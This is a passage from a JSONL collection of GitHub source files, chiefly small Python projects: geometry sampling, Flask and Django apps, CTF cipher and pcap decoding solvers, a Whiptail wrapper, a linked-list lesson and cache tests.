\"\"\"\n\n    if centers is not None and len(centers) != len(samples):\n        raise ValueError(\n            \"Paramenter `centers` must have equal length as parameter `samples`\")\n\n    if not isinstance(min_size, Iterable):\n        min_size = [min_size] * len(samples)\n\n    if not isinstance(max_size, Iterable):\n        max_size = [max_size] * len(samples)\n\n    assert len(max_size) == len(min_size) == len(\n        samples), \"Parameter `max_size` and `min_size` when provided as array-like must have the same length of paramenter `samples`\"\n\n    rng = np.random.default_rng(2022)\n    # rng = np.random.default_rng()\n\n    n_centers = len(samples)\n\n    if centers is None:\n        # Only 2D generation\n        centers = rng.uniform(\n            center_box[0], center_box[1], size=(n_centers, 2))\n\n    XY = []\n    bboxes = []\n    angles = []\n    ellipses = []\n    # https://stackoverflow.com/questions/87734/how-do-you-calculate-the-axis-aligned-bounding-box-of-an-ellipse\n    for i in range(len(samples)):\n\n        radiusX = rng.uniform(min_size[i], max_size[i])\n        radiusY = rng.uniform(radiusX, max_size[i])\n\n        phi = rng.uniform(0, 2*np.pi)\n\n        radians90 = phi + np.pi / 2\n\n        ux = radiusX * np.cos(phi)\n        uy = radiusX * np.sin(phi)\n        vx = radiusY * np.cos(radians90)\n        vy = radiusY * np.sin(radians90)\n\n        bbox_halfwidth = np.sqrt(ux * ux + vx * vx)\n        bbox_halfheight = np.sqrt(uy * uy + vy * vy)\n        min_x = centers[i][0] - bbox_halfwidth\n        min_y = centers[i][1] - bbox_halfheight\n\n        max_x = centers[i][0] + bbox_halfwidth\n        max_y = centers[i][1] + bbox_halfheight\n\n        # ! Choose a strategy\n\n        # Generate samples --> Removal of points not in ellipse --> Weighted sample elimination\n        P = points_in_ellipse(rng.uniform(min_x, max_x, samples[i]), rng.uniform(min_y, max_y, samples[i]),\n                              radiusX, radiusY, centers[i][0], centers[i][1], phi)\n        if wse:\n            P = weighted_sample_elimination(P, wse_p)\n\n        # Generate samples --> Weighted sample elimination --> Removal of points not in ellipse\n        # P = np.array(list(zip(rng.uniform(\n        #     min_x, max_x, samples[i]), rng.uniform(min_y, max_y, samples[i]))))\n\n        # if wse:\n        #     P = weighted_sample_elimination(P, 0.9)\n\n        # P = points_in_ellipse(P[:, 0], P[:, 1], radiusX,\n        #                       radiusY, centers[i][0], centers[i][1], phi)\n\n        XY.append(P)\n        bboxes.append((bbox_halfwidth, bbox_halfheight))\n        angles.append(np.rad2deg(phi))\n        ellipses.append((radiusX, radiusY))\n\n    return XY, centers, angles, bboxes, ellipses\n\n\n# https://stackoverflow.com/questions/7946187/point-and-ellipse-rotated-position-test-algorithm\n\n\ndef points_in_ellipse(Px, Py, a, b, cx, cy, angle):\n    \"\"\"\n    Given a list of x,y coordinates and an ellipse,\n    computes a list of only the points which are in the ellipse\n\n    Args:\n\n        Px (list): list of x coordinates for the points\n        Py (list): list of y coordinates for the points\n        a (float): width of the ellipse\n        b (float): height of the ellipse\n        cx (float): x coordinate of the center of the ellipse\n        cy (float): x coordinate of the center of the ellipse\n        angle (float): rotation of the ellipse in radians\n\n    Returns:\n\n        ndarray: list of points in the ellipse\n    \"\"\"\n    cos_angle = np.cos(angle)\n    sin_angle = np.sin(angle)\n\n    a2 = a*a\n    b2 = b*b\n\n    P = []\n\n    # E = np.power(cos_angle * (Px[0] - cx) + sin_angle * (Py[0] - cy),2) / a2 + \\\n    #     np.power(sin_angle * (Px[0] - cx) - cos_angle * (Py[0] - cy),2) / b2\n\n    E = np.power(cos_angle * (Px - cx) + sin_angle * (Py - cy), 2) / a2 + \\\n        np.power(sin_angle * (Px - cx) - cos_angle * (Py - cy), 2) / b2\n\n    for i, e in enumerate(E):\n        if e <= 1:\n            P.append([Px[i], Py[i]])\n    return np.array(P)\n","repo_name":"JacopoD/rdp_gen","sub_path":"my_make_blobs.py","file_name":"my_make_blobs.py","file_ext":"py","file_size_in_byte":9742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28829007894","text":"from flask import Flask\n\n\ndef create_application(instance_path, config_file=\"flask-webhook.conf\"):\n    if instance_path:\n        application = Flask(\n            __name__, instance_relative_config=True, instance_path=instance_path\n        )\n    else:\n        application = Flask(__name__, instance_relative_config=True)\n\n    application.config.from_pyfile(config_file)\n\n    from .github import blueprint as github_blueprint\n\n    application.register_blueprint(github_blueprint, url_prefix=\"\")\n\n    return application\n","repo_name":"valr/flask-webhook","sub_path":"flask_webhook/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71757634032","text":"N = int(input())\n\norigin = list(input())\nsimilar = 0\nfor i in range(N-1):\n    length, cnt = len(origin), 0\n    atoz = {}\n    for c in origin:\n        if c not in atoz:\n            atoz[c] = 1\n        else:\n            atoz[c] += 1\n    word = list(input())\n    for j in word:\n        if j in atoz:\n            atoz[j] -= 1\n            length -= 1\n            if not atoz[j]:\n                del atoz[j]\n        else:\n            cnt += 1\n    if length < 2 and cnt < 2:\n        similar += 1\nprint(similar)","repo_name":"athletejuan/TIL","sub_path":"Algorithm/BOJ/13_brute_force/2607.py","file_name":"2607.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"41408060","text":"import os.path as osp\nfrom tempfile import TemporaryDirectory\n\nimport mmcv\nimport numpy as np\n\nfrom mmdet.datasets import OccludedSeparatedCocoDataset\n\n\ndef test_occluded_separated_coco_dataset():\n    ann = [[\n        'fake1.jpg', 'person', 8, [219.9, 176.12, 11.14, 34.23], {\n            'size': [480, 640],\n            'counts': b'nYW31n>2N2FNbA48Kf=?XBDe=m0OM3M4YOPB8_>L4JXao5'\n        }\n    ]] * 3\n    dummy_mask = np.zeros((10, 10), dtype=np.uint8)\n    dummy_mask[:5, :5] = 1\n    rle = {\n        'size': [480, 640],\n        'counts': b'nYW31n>2N2FNbA48Kf=?XBDe=m0OM3M4YOPB8_>L4JXao5'\n    }\n    res = [([np.array([[50, 60, 70, 80, 0.77]])] * 2, [[rle]] * 2)] * 3\n\n    tempdir = TemporaryDirectory()\n    ann_path = osp.join(tempdir.name, 'coco_occluded.pkl')\n    mmcv.dump(ann, ann_path)\n\n    dataset = OccludedSeparatedCocoDataset(\n        ann_file='tests/data/coco_sample.json',\n        occluded_ann=ann_path,\n        separated_ann=ann_path,\n        pipeline=[],\n        test_mode=True)\n    eval_res = dataset.evaluate(res)\n    assert isinstance(eval_res, dict)\n    assert eval_res['occluded_recall'] == 100\n    assert eval_res['separated_recall'] == 100\n","repo_name":"mit-han-lab/sparsevit","sub_path":"tests/test_data/test_datasets/test_coco_occluded.py","file_name":"test_coco_occluded.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"38"}
{"seq_id":"71277946352","text":"#! /bin/python3\n\nimport argparse\nimport glob\nimport re\nfrom os import path\nfrom pathlib import Path\n\nfrom progress.bar import Bar\n\nfrom utils import read_file, resolve_path\n\n#\n# TODO: Fix how it process the links\n# TODO: because somehow it it grabs the root dir of\n# TODO: where the script is originated from\n#\n\n\ndef fixlinks(ROOT_DIR='./out/'):\n    \"\"\"\n        Fixes all the links including relative paths.\n        It will ignore hyperlinks. The method will detect\n        the directory depth and apply relativity accordingly\n        to each links.\n\n        Parameter:\n        ROOT_DIR (str): Root directory. Defaults './out/'\n    \"\"\"\n    ROOT_DIR = resolve_path(ROOT_DIR)\n\n    files = glob.glob(\n        '**/*.*',\n        root_dir=ROOT_DIR,\n        recursive=True,\n        include_hidden=True\n    )\n\n    md_files = glob.glob(\n        '**/*.md',\n        root_dir=ROOT_DIR,\n        recursive=True,\n        include_hidden=True\n    )\n\n    cache = {}\n\n    bar = Bar('Fixing links...', max=len(md_files),\n              suffix='%(percent).1f%% - [%(index)d of %(max)d] - %(elapsed)ds')\n\n    for filename in md_files:\n\n        if path.isdir(ROOT_DIR + filename):\n            bar.next()\n            continue\n\n        dir_depth = filename.replace('\\\\', '/').count('/')\n\n        file_content = read_file(ROOT_DIR + filename)\n\n        # To view how the regex works: https://regex101.com/r/oTWiTP/1\n        # Essentially, it grabs the markdown link, then grabs only the link and\n        # ignore everything else\n        md_links = re.findall(r'(?<=\\]\\().*?(?=\\s|\\))', file_content, flags=re.MULTILINE)\n\n        # To view regex: https://regex101.com/r/k572A6/1\n        html_links = re.findall(r'(?<=href=\\\").+?(?=\\\")', file_content, flags=re.MULTILINE)\n\n        # Make links into a set to remove duplicates\n        for link in set([*md_links, *html_links]):\n\n            # skip if hyperlink\n            if ('http' in link):\n                continue\n\n            # \"\"\" 1st Step - rewrite all the %253A to / \"\"\"\n            replacement_link = link.replace('.html', '')\n            replacement_link = replacement_link.replace('%253A', '/')\n\n            # This just makes sure the directory depth is reset just incase\n            # maybe this program was ran before and the file location has\n            # been moved\n            replacement_link = replacement_link.replace('../', '')\n\n            # Makes sure that the path string is normalized according to\n            # the os being used\n            replacement_link = path.normpath(replacement_link)\n\n            \"\"\" 2nd Step - fix the relative paths after file directory cleaning \"\"\"\n\n            # Gets the only the filename\n            tail = path.split(link)[1].replace('.html', '.md').replace('%253A', '\\\\')\n            parent_dir = path.split(filename)[0] or ROOT_DIR\n\n            linked_file = cache.get(tail)\n\n            # Get the referenced file from the list of files after the cleaning\n            # and it should give us the new path location\n            # It will also try to resolve files using only it's filename\n            # instead of trying to follow it's whole pathname\n            if linked_file is None:\n                r = f'{re.escape(tail)}$|{re.escape(replacement_link)}$'\n                # print(r)\n                linked_file = [\n                    x for x in files\n                    if re.search(r, x)\n                ]\n\n                # If the link is not a file in our file list\n                # then ignore it\n                if (len(linked_file) == 0):\n                    continue\n\n                cache[tail] = linked_file\n                files = [x for x in files if x not in linked_file]\n\n            parent_regex = re.compile('^' + re.escape(parent_dir.replace('\\\\', '/')))\n            same_dir = list(filter(parent_regex.search, linked_file))\n\n            # makes sure that\n            # the path is absolute\n            file_loc = resolve_path(ROOT_DIR + (same_dir or linked_file)[0])\n\n            parent_dir = ROOT_DIR + parent_dir if parent_dir != ROOT_DIR else ROOT_DIR\n\n            # Creates a relative path relative to where to original\n            # markdown file is located\n            # Adds a trailing ./ just incase it's in the same directory\n            # and path.normpath will remove it if it is redundant\n            replacement_link = path.normpath(path.relpath(file_loc, parent_dir))\n\n            # the replace would only run on Windows filesystem, since\n            # Windows uses the \\ for directories\n            replacement_link = replacement_link.replace('\\\\', '/')\n\n            if not replacement_link.startswith('..'):\n                replacement_link = './' + replacement_link\n\n            file_content = file_content.replace(link, replacement_link)\n\n        with open(ROOT_DIR + filename, 'w', encoding=\"utf-8\") as write_file:\n            write_file.write(file_content)\n\n        bar.next()\n\n    bar.finish()\n\n\nif __name__ == '__main__':\n    argParser = argparse.ArgumentParser(\n        prog='Link Fixer',\n        usage='fixlinks.py [-h help] input',\n        description='Goes through every file in the directory and fixes the relative links',\n        epilog='Part of the ODP-Portal-Maker toolset'\n    )\n\n    argParser.add_argument(\n        'input',\n        help='root directory of the files. Can be relative as long as the cwd is in the proper directory'\n    )\n\n    args = argParser.parse_args()\n    root = args.input\n\n    fixlinks(root)\n","repo_name":"kastle-lab/odp-portal-maker","sub_path":"fixlinks.py","file_name":"fixlinks.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"43930162339","text":"\nimport pygame\nfrom pygame.locals import *\n\nfrom logs import get_logger\n\n\nclass PyGameManager:\n    fonts = {}\n    screen = None\n\n    @staticmethod\n    def initialize():\n        pygame.init()\n        PyGameManager.get_screen()  # Init a screen so we have one.\n\n    @staticmethod\n    def terminate():\n        pygame.quit()\n\n    @staticmethod\n    def get_screen() -> pygame.Surface:\n        if not PyGameManager.screen:\n            screen_dims = (640, 480)\n            PyGameManager.screen = pygame.display.set_mode(screen_dims, RESIZABLE)\n        return PyGameManager.screen\n\n    @staticmethod\n    def get_font(size: int = 12):\n        if size not in PyGameManager.fonts:\n            logger = get_logger()\n            logger.debug(f'Creating font size {size}')\n            font = pygame.font.Font('freesansbold.ttf', size)\n            PyGameManager.fonts[size] = font\n        return PyGameManager.fonts[size]\n","repo_name":"ThatIsAUsername/timeline","sub_path":"pygame_manager.py","file_name":"pygame_manager.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40774918762","text":"import warnings\n\nfrom authentic2.idp.management.commands import cleanupauthentic\n\n\nclass Command(cleanupauthentic.Command):\n    def handle_noargs(self, **options):\n        warnings.warn(\n            \"The `cleanup` command has been deprecated in favor of `cleanupauthentic`.\",\n            PendingDeprecationWarning)\n        super(Command, self).handle_noargs(**options)\n","repo_name":"kodingway/authentic","sub_path":"src/authentic2/idp/management/commands/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"26965179593","text":"import string\nimport binascii\nenc =\"bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp\"\nALPHABET = string.ascii_lowercase[:16] \nkey = \"oedcfjdbe\"\nb16 = \"\"\n\nloop =0\nfor i in enc:\n\tk = ALPHABET.index(key[loop % len(key)])\n\tloop = loop + 1\n\tindex = ALPHABET.index(i)\n\tif(k <= index):\n\t\tb16+=chr(index -k+97)\n\telif (k <= index + 16):\n\t\tb16+=chr(index +16-k+97)\n\nflag = \"\"\nprint(b16)\nfor i in range(0, len(b16), 2):\n\tif(b16[i+1] in ALPHABET and b16[i] in ALPHABET):\n\t\tindex1 = ALPHABET.index(b16[i])\n\t\tindex2 = ALPHABET.index(b16[i+1])\n\t\tflag+= chr((index1<<4)+index2)\nprint(flag)\n","repo_name":"vivian-dai/PicoCTF2021-Writeup","sub_path":"Cryptography/New Vignere/new_vignere_solve.py","file_name":"new_vignere_solve.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"38"}
{"seq_id":"40471782665","text":"\"\"\"Simple Whiptail wrapper\n\n# Requires Whiptail to be installed!\n# To do this on Replit:\n- Open the shell tab on Replit\n- Enter `whiptail`\n- Hit enter\n- Paste this `wiptail.py` into your Replit files\n- See example code:\n\n# Examples:\n```from whiptail import Box```\n\n## Inline:\n```print(Box(\"text\", optional_flags = \"argument\").prompt(\"options\"))```\n\n## Block:\n```\nbox = Box(\"text\", optional_flags = \"argument\")  \nprint(box.prompt(\"options\"))\n```\n\"\"\"\n\nimport os\nfrom subprocess import Popen, PIPE\n\ndebug = False\n\ndef default_box_size():\n\tterminal_size = os.get_terminal_size()\n\twidth = int(terminal_size[0]*0.6)\n\theight = int(terminal_size[1]*0.6)\n\treturn width, height\n\t\ndef splice_lists(*lists):\n\tfor l in range(len(lists)):\n\t\tif lists[l] is None: lists.remove(l)\n\tsub_num = len(lists)\n\tsub_len = len(lists[0])\n\tassert all(map(lambda sub:len(sub)==sub_len, lists[1:])), \"All lists must be the same length\"\n\tlist_ = [None] * (sub_len * sub_num)\n\tfor i in range(sub_num):\n\t\tlist_[i::sub_num] = lists[i]\n\treturn list_\n\nclass Flag:\n\tdef __init__(self, name, *options):\n\t\tself.name = name\n\t\tself.options = options\n\t\n\tdef resolve(self):\n\t\t# for option in self.options:\n\t\treturn [\"--\" + self.name] + list(self.options)\n\nclass Box:\n\tdef __init__(self,\n\t\t\t\t text = \"\",\n\t\t\t\t width = default_box_size()[0],\n\t\t\t\t height = default_box_size()[1],\n\t\t\t\t title = None,\n\t\t\t\t backtitle = None,\n\t\t\t\t full_buttons = False\n\t\t\t\t):\n\t\tself.text = \"\" if len(text) == 0 else \"\" + text if title is None else \"\\n\" + text\n\t\tself.width = width\n\t\tself.height = height\n\t\tflags = []\n\t\tif title is not None: flags.append(Flag(\"title\", title))\n\t\tif backtitle is not None: flags.append(Flag(\"backtitle\", backtitle))\n\t\tif full_buttons: flags.append(Flag(\"fb\"))\n\t\tself.flags = flags\n\n\tdef run(self, flags):\n\t\t# based on https://github.com/marwano/whiptail/blob/master/whiptail.py#L31\n\t\tresolved = []\n\t\tfor flag in flags:\n\t\t\tresolved = resolved + flag.resolve()\n\t\tcommand = [\"whiptail\"] + [str(i) for i in resolved]\n\t\tif debug: input(command)\n\t\tp = Popen(command, stderr=PIPE)\n\t\tout, entry = p.communicate()\n\t\treturn p.returncode, entry\n\t\n\tdef message(self, ok = \"Ok\"):\n\t\tself.flags.append(Flag(\"msgbox\", self.text, self.height, self.width))\n\t\tself.flags.append(Flag(\"ok-button\", ok))\n\t\tself.run(self.flags)\n\n\tdef yesno(self, yes = \"Yes\", no = \"No\", defaultno = False) -> bool:\n\t\tself.flags.append(Flag(\"yesno\", self.text, self.height, self.width))\n\t\tself.flags.append(Flag(\"yes-button\", yes))\n\t\tself.flags.append(Flag(\"no-button\", no))\n\t\treturn False if self.run(self.flags)[0] else True\n\n\tdef input(self, init = None, password = False, ok = \"Ok\", cancel = \"Cancel\") -> str:\n\t\tif init is not None:\n\t\t\tself.flags.append(Flag(\"passwordbox\" if password else \"inputbox\", self.text, self.height, self.width, init))\n\t\telse:\n\t\t\tself.flags.append(Flag(\"passwordbox\" if password else \"inputbox\", self.text, self.height, self.width))\n\t\tself.flags.append(Flag(\"ok-button\", ok))\n\t\tself.flags.append(Flag(\"cancel-button\", cancel)) if cancel is not None else self.flags.append(Flag(\"nocancel\"))\n\t\treturncode, entry = self.run(self.flags)\n\t\tif returncode: return False\n\t\telse: return entry.decode()\n\n\tdef menu(self, list_height, tags, items = None, ok = \"Ok\", cancel = None) -> str:\n\t\tlist_ = splice_lists(tags, tags if items is None else items)\n\t\tif items is None: self.flags.append(Flag(\"noitem\"))\n\t\tself.flags.append(Flag(\"menu\", self.text, self.height, self.width, list_height, *list_))\n\t\tself.flags.append(Flag(\"ok-button\", ok))\n\t\tself.flags.append(Flag(\"cancel-button\", cancel)) if cancel is not None else self.flags.append(Flag(\"nocancel\"))\n\t\treturncode, entry = self.run(self.flags)\n\t\tif returncode: return False\n\t\telse: return entry.decode()\n\n\t# Cancel is impossible to navigate to, as far as I can tell\n\tdef multi_choice(self, list_height, status, tags, items = None, ok = \"Ok\", cancel = None) -> str:\n\t\tlist_ = splice_lists(tags, tags if items is None else items, status)\n\t\tif items is None: self.flags.append(Flag(\"noitem\"))\n\t\tself.flags.append(Flag(\"checklist\", self.text, self.height, self.width, list_height, *list_))\n\t\tself.flags.append(Flag(\"ok-button\", ok))\n\t\tself.flags.append(Flag(\"cancel-button\", cancel)) if cancel is not None else self.flags.append(Flag(\"nocancel\"))\n\t\treturncode, entry = self.run(self.flags)\n\t\tif returncode: return False\n\t\telse: return entry.decode()\n\n\t# Cancel is impossible to navigate to, as far as I can tell\n\tdef single_choice(self, list_height, status, tags, items = None, ok = \"Ok\", cancel = None) -> str:\n\t\tlist_ = splice_lists(tags, tags if items is None else items, status)\n\t\tif items is None: self.flags.append(Flag(\"noitem\"))\n\t\tself.flags.append(Flag(\"radiolist\", self.text, self.height, self.width, list_height, *list_))\n\t\tself.flags.append(Flag(\"ok-button\", ok))\n\t\tself.flags.append(Flag(\"cancel-button\", cancel)) if cancel is not None else self.flags.append(Flag(\"nocancel\"))\n\t\treturncode, entry = self.run(self.flags)\n\t\tif returncode: return False\n\t\telse: return entry.decode()\n","repo_name":"Jambo2486/whiptail-wrapper","sub_path":"whiptail.py","file_name":"whiptail.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4475617446","text":"import json\n\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse, Http404, JsonResponse\n\nfrom CryptoWatcher.functions.Coloring import red, green\nfrom priceWatcher.models import Pair\n\n\n# Create your views here.\ndef pair_list(request):\n    pairs: list[Pair] = Pair.objects.all().values()\n    return render(request, 'pair_list.html', {'pairs': pairs})\n\n\ndef add_pair(request):\n    pair = request.GET.dict()['currency'].split(\"-\")\n\n    currency = pair[0]\n    base = pair[1]\n\n    try:\n        Pair.objects.get(currency=currency.upper(), base=base.upper())\n        print(red(\"Already Exists\"))\n    except Pair.DoesNotExist:\n        pair = Pair()\n        pair.currency = currency.upper()\n        pair.base = base.upper()\n        pair.save()\n        print(green(\"New Pair Added\"))\n    except Exception as e:\n        print(red(e))\n\n    pairs: list[Pair] = Pair.objects.all().values()\n    return redirect('/pair_list', {'pairs': pairs})\n\n\ndef kucoin_symbols(request):\n    pair_str = request.GET['pair']\n\n    symbols = []\n    with open(\"CryptoWatcher/statics/all_symbols.json\", \"r\") as f:\n        symbols = f.read()\n        symbols = json.loads(symbols)\n        start = [v for v in symbols if v.startswith(pair_str)]\n        start.sort()\n        rest = [v for v in symbols if (pair_str in v) and (not v.startswith(pair_str))]\n        rest.sort()\n        symbols = start + rest\n\n    if symbols:\n        return JsonResponse(symbols, safe=False)\n    else:\n        return JsonResponse(None, safe=False)\n\n\ndef prices(request):\n    pairs = Pair.objects.all()\n\n    if pairs:\n        pair_dicts = []\n        for pair in pairs:\n            date = f\"{pair.price_date.hour}:{pair.price_date.minute}:{pair.price_date.second}\"\n            pair_dicts.append({'id': pair.id, 'price': pair.price, 'date': date})\n\n        return JsonResponse(pair_dicts, safe=False)\n    else:\n        return JsonResponse(None, safe=False)\n\n\ndef delete_pair(request):\n    id = request.GET.dict()['pair_id']\n    print(id)\n    try:\n        pair = Pair.objects.get(id=id)\n        pair.delete()\n    except Exception as e:\n        print(red(str(e)))\n","repo_name":"hossein73z/DjangoCryptoWatcher","sub_path":"priceWatcher/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21064729246","text":"\nclass Node:\n    \"\"\" Tugun (node) obyekti\"\"\"\n    def __init__(self,data):\n        self.data =data\n        self.next = None\n        \nclass LinkedList:\n    \"\"\"LinkedList obyekti\"\"\"\n    def __init__(self):\n        self.head = None \n        \n        \n##Consolga chiqaruvchi funksiya\n    def printList(self):\n        temp = self.head\n        while temp:\n            print(temp.data)\n            temp=temp.next\n\n    #Ro'yxatga element qo'shish\n    def push(self,new_data):\n        \"\"\"List boshiga tugun qo'shish\"\"\"\n\n        #Yangi Node yaratamiz\n        new_node = Node(new_data)\n\n        #List boshini keyingi o'ringa suramiz\n        new_node.next = Node(new_data)\n\n        #Yangi modelni list boshiga qo'yamiz\n\n        self.head = new_node\n\n\n    #Biror tugundan keyin qo'shish\n\n    def insertAfter(self,prev_node,new_data):\n        if prev_node is None:\n            print(\"Tugun mavjud emas\")\n            return\n        #Yangi yugun qo'shamiz\n        new_node = Node(new_data)\n        #Yangi tugunni keyingi tugunga bog'laymiz\n        new_node.next = prev_node.next\n        #Avvalgi tugunni yangi tugunga bog'laymiz\n        prev_node.next = new_node\n\n    #Oxiriga element qo'shish\n\n    def append(self,new_data):\n        \"\"\"List oxiriga tugun qo'shish\"\"\"\n        #Yangi tugun yaratamiz\n        new_node = Node(new_data)\n        #List bo'sh emasligini tekshiramiz\n        if self.head is None:\n            #List bo'sh bo'lsa ro'yxatning boshiga qo'shamiz\n            self.head = new_node\n            return\n        #Aks holda list oxiriga boramiz\n        last = self.head\n        while last.next:\n            last = last.next\n        last.next = new_node   \n\n    #Listdan qiymatni o'chirish  \n\n    def deleteNode(self,key):\n        #List boshini topamiz\n        temp = self.head\n        #Birinchi tugunni tekshiramiz\n        if (temp and temp.data == key):\n            self.head = temp.next\n            temp=None\n            return\n        #Aks holda keyingi tugunlarni qarab chiqamiz\n        while temp:\n            if temp.data == key:\n                break\n            prev=temp\n            temp=temp.next\n        #Agar qiymat topilmasa\n        if temp==None:\n            return\n        #Tugunni listdan o'chiramiz\n        prev.next = temp.next\n        temp = None                    \n\n\n\n\n\n\n\n    \n        \n                \n        ","repo_name":"rashidov9797/Algoritm_Lessons","sub_path":"Algoritmlar/Arrays_and_LinkedLists/linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3650928073","text":"import base64\nimport socket\nimport struct\n\ndata = b''\nrows = []\n\nwith open('easy_as_123.pcap', 'rb') as f:\n    header = f.read(24)\n    while True:\n        packet_header = f.read(16)\n        if not packet_header:\n            break\n        ts_sec, ts_usec, incl_len, orig_len = struct.unpack('<IIII', packet_header)\n        raw_packet = f.read(incl_len)\n\n        if (raw_packet[0x0E] & 0xF0) != 0x40: # IPv4?\n            continue\n        if raw_packet[0x17] != 0x06: # TCP?\n            continue\n        src_ip = socket.inet_ntoa(raw_packet[0x1A:0x1E])\n        dest_ip = socket.inet_ntoa(raw_packet[0x1E:0x22])\n        src_port, dest_port = struct.unpack('>HH', raw_packet[0x22:0x26])\n\n        if src_ip != '192.168.1.19': # and dest_ip != '192.168.1.19':\n            continue\n\n        if not raw_packet[0x2F] & 0x08: # PSH?\n            continue\n\n        row = raw_packet[0x36:]\n        rows.append(row)\n        data += row\n        #print('%d.%06d: %s:%d -> %s:%d: %d bytes' % (ts_sec, ts_usec, src_ip, src_port, dest_ip, dest_port, len(raw_packet)-0x36))\n\n# 66 packets\n#\n# 139 bytes:\n#    4 bytes fixed: SM\\x92-\n#    1 byte counter: 0xfe/0xff/0x00/0x01/0x02/0x03/0x04\n#    6 bytes command: --help, --init, getflg, getjnk\n#  128 bytes payload\n\n# replace \\x01 => \\\\1 (and ignore final \\x00) in initial help text for some reason\n# --help: \"'init' command will alter implant to initialize data exfiltration. cmd 'get[a-z][a-z][a-z]' to exfil. \"\n# --init: \"exfiltration initialized. switching protection. subsequent payload blocks protected in ctr mode.      \"\n\n# Counter values seen:\n# help: 0 (fe), 17 (00), 62 (00) - 00's identical\n# init: 1 (ff)\n# getflg: 2 (00), 27 (00), 44 (02), 63 (01) - 00's identical\n# getjnk: rest (00-04)\n\nprint(repr(base64.a85decode(rows[0][11:-1].replace(b'\\x01', b'\\\\1'))))\nprint(repr(base64.a85decode(rows[1][11:])))\n\nkeystream = [a ^ b for a, b in zip(b\"'init' command will alter implant to initialize data exfiltration. cmd 'get[a-z][a-z][a-z]' to exfil. \", rows[17][11:])]\nfor i, row in enumerate(rows):\n    if row[4] == 0:\n        dec = bytes(a ^ b for a, b in zip(row[11:], keystream))\n        line = '%d:' % i\n        for k in range(len(dec)):\n            if dec[k] < 0x20:\n                line += ' %d' % k\n        print('%d: %r' % (i, dec))\n","repo_name":"adamantoise/ctf-writeups","sub_path":"umass2021/easy-as-123.py","file_name":"easy-as-123.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38457642385","text":"from time import sleep\n\n### Third-Party Packages ###\nfrom fastapi.responses import Response\nfrom fastapi.testclient import TestClient\nfrom pytest import mark\n\n### Local Modules ###\nfrom tests.backends import client, Payload\n\n\n@mark.parametrize(\n    \"client\",\n    [\n        [\n            (\"backend\", \"dynamodb\"),\n            (\"ttl\", 2),\n            (\"dynamodb_url\", \"http://localhost:8000\"),\n        ],\n        [(\"backend\", \"inmemory\"), (\"ttl\", 2)],\n        [(\"backend\", \"memcached\"), (\"ttl\", 2), (\"memcached_host\", \"localhost\")],\n        [\n            (\"backend\", \"mongodb\"),\n            (\"database_name\", \"fastapi-cachette-database\"),\n            (\"ttl\", 2),\n            (\"mongodb_url\", \"mongodb://localhost:27017\"),\n        ],\n        [(\"backend\", \"redis\"), (\"ttl\", 2), (\"redis_url\", \"redis://localhost:6379\")],\n    ],\n    ids=[\"dynamodb\", \"inmemory\", \"memcached\", \"mongodb\", \"redis\"],\n    indirect=True,\n)\ndef test_set_and_wait_til_expired(client: TestClient):\n    ### Get key-value before setting anything ###\n    response: Response = client.get(\"/cache\")\n    assert response.text == \"\"\n    ### Setting key-value pair with Payload ###\n    payload: Payload = Payload(key=\"cache\", value=\"cachable\")\n    response = client.post(\"/\", data=payload.json())\n    assert response.text == \"OK\"\n    ### Getting cached value within TTL ###\n    response = client.get(\"/cache\")\n    assert response.text == \"cachable\"\n    ### Sleeps on current thread until TTL ttls ###\n    sleep(3)\n    ### Getting cached value after TTL ttls ###\n    response = client.get(\"/cache\")\n    assert response.text == \"\"\n    ### Clear ###\n    response = client.delete(\"/cache\")\n    assert response.text == \"\"  ### Nothing to clear\n","repo_name":"aekasitt/fastapi-cachette","sub_path":"tests/backends/wait_till_expired.py","file_name":"wait_till_expired.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"7534752698","text":"import re\nfrom flaskr import db\nfrom flaskr.models import Artist, Song, Album\n\nsongs = Song.query.all()\nfor song in songs:\n    #正規表現を使うときは 're' が必要\n    #'^'ハットという。先頭の文字を表している\n    #'\\d+'が何桁でも数字を表している\n    #'\\d'が１桁の数字を表している\n    #^[\\d+] が  ''にreplaceされた\n    song_name = re.sub(r'^[\\d]+', '', song.title)\n    song_name = song_name.replace('\\n', '')\n    song.title = song_name\n    print(song.title)\n    db.session.add(song)\n    db.session.commit()\n","repo_name":"acx2o/boc_music","sub_path":"modify_song_title.py","file_name":"modify_song_title.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
